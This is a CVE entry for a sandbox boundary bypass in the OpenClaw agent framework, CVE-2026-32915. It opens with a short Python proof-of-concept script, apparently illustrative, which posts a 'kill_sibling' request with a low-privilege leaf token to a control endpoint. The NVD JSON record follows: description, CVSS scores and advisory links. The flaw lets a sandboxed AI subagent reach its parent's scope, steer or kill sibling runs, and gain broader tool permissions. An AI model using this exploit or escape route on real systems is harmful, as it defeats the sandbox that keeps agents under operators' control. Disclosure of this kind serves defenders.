CVE-2026-32915

import requests # PoC for CVE-2026-32915: OpenClaw Sandbox Boundary Bypass # This script simulates a low-privilege leaf worker accessing the parent scope. def exploit_sandbox_bypass(target_url, session_id): headers = { "Content-Type": "application/json", "User-Agent": "OpenClaw-Leaf-Agent/1.0" } # Malicious payload targeting parent scope instead of own session tree payload = { "scope": "parent_requester", # Bypassing own session tree "action": "kill_sibling", # Terminating sibling run "target_run_id": "sibling_run_123", "authorization": "leaf_token" # Low-privilege token } try: response = requests.post(f"{target_url}/api/control", json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Sibling run potentially terminated.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target endpoint exploit_sandbox_bypass("http://127.0.0.1:8080", "leaf_session_abc")

{"cve": {"id": "CVE-2026-32915", "sourceIdentifier": "[email protected]", "published": "2026-03-29T13:16:59.973", "lastModified": "2026-03-31T18:10:23.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.11 contains a sandbox boundary bypass vulnerability allowing leaf subagents to access the subagents control surface and resolve against parent requester scope instead of their own session tree. A low-privilege sandboxed leaf worker can steer or kill sibling runs and cause execution with broader tool policies by exploiting insufficient authorization checks on subagent control requests."}, {"lang": "es", "value": "OpenClaw anterior a 2026.3.11 contiene una vulnerabilidad de bypass de límite de sandbox que permite a los subagentes hoja acceder a la superficie de control de los subagentes y resolver contra el alcance del solicitante padre en lugar de su propio árbol de sesión. Un trabajador hoja en sandbox con bajos privilegios puede dirigir o terminar ejecuciones hermanas y causar la ejecución con políticas de herramientas más amplias al explotar comprobaciones de autorización insuficientes en las solicitudes de control de subagentes."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.11", "matchCriteriaId": "4B01F0B5-B0CB-462E-A546-2BA2CACD83D5"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-4w7m-58cg-cmff", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-sandbox-boundary-bypass-via-subagent-control-surface", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}